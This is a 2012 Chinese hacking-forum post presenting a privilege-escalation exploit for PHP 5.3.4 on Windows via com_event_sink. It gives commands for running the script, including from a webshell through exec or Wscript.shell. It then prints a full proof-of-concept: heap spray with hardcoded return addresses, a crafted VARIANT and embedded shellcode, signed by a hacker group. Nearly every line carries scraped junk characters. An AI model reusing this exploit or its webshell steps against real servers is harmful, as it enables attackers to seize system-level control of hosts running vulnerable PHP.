找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2100|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中; k4 c  D- [2 i0 Y2 V

; K: W0 a! u% E' m测试方法如下:cmd /c x:\php\php.exe x:\test.php
( T" r" d- D7 u5 X3 X: i0 U  Q  |9 A4 }5 H6 T" I6 u, ]9 B
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
8 U' l2 }- X% [( `+ I0 u6 [这里是两个测试的截图:5 @% k; a/ Q0 B! t( _- a7 Q
% T  R6 w8 L! _
/ k/ Z) ^% B) i% `/ v2 L

0 l! f8 [+ N6 l$ Y. {+ i/ \" T5 ]
( q3 j5 M; L& z$ {* j9 @8 j( I* g
8 h3 @2 J" T% d9 N成功利用此漏洞的攻击者将获得系统的最高权限
5 u  i7 Z$ E" I2 \2 }, w* I1 D- t% Y. X. R

4 a# g: j/ B, G' Z/ ^& C& K7 y; b% R) Q1 b

% S) `! s9 V/ ]" W2 h1 i2 I
* ?1 Z4 }$ Y- t" t2 H1 u关于漏洞分析稍后附上。一下是PoC代码:7 I' N3 N1 g7 x( B4 `
1 {7 k* w. `' O; B) j
<?php
8 `; N4 W8 I1 }# f- l+ ]$ \//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞; f. y$ N- P3 t1 N% q+ a
//$eip ="\x44\x43\x42\x41";( {2 q: z* q4 s1 C
$eip= "\x4b\xe8\x57\x78";# j3 R' H1 M/ @
$eax ="\x80\x01\x8d\x04";
9 U+ E  p/ F- D. ]+ S+ K) l$deodrant="";
9 n8 @3 ~2 S( a9 o' ]* ]+ @1 j$axespray = str_repeat($eip.$eax,0x80);6 v+ f$ E1 ~3 L: g% o2 ~# e
//048d0190) r1 w* X# b$ q1 ?: C3 I+ m
echo strlen($axespray);
6 O4 v6 z+ m+ |) cecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
8 M: Y% s; E0 g* K/ qecho "Silic Group Hacker Army - BlackBap.Org";" i% @* k, X' Z1 f
//19200 ==4B32 4b00( [8 G) P. P( ~3 r
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}2 k/ U$ _2 ?9 |* z1 v. V
$terminate = "T";2 O$ H, f. M' X0 g
$u[] =$deodrant;
2 u% N3 W8 a2 t/ f/ h$r[] =$deodrant.$terminate;
- u- M( P  }! \$a[] =$deodrant.$terminate;( r$ p8 S9 |9 T/ M0 c" |# ]4 w
$s[] =$deodrant.$terminate;0 u3 i& p5 U( |- f6 Z1 N$ \: m
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
5 z7 R  \- c1 j/ s  O$vVar = new VARIANT(0x048d0000+180);
9 t& v  X. |4 ?( J//弹窗代码(Shellcode)
, I' N- t/ P  C8 l1 L$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
3 D" i5 w9 H5 l; n: ?9 L, S$var2 = new VARIANT(0x41414242);
, p- H& k) ^3 a( ~+ R) `; A  a* Rcom_event_sink($vVar,$var2,$buffer);. E$ k- p" E8 S' p- }( Q+ o
?>
  J! Z- [" v) q$ w1 B

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表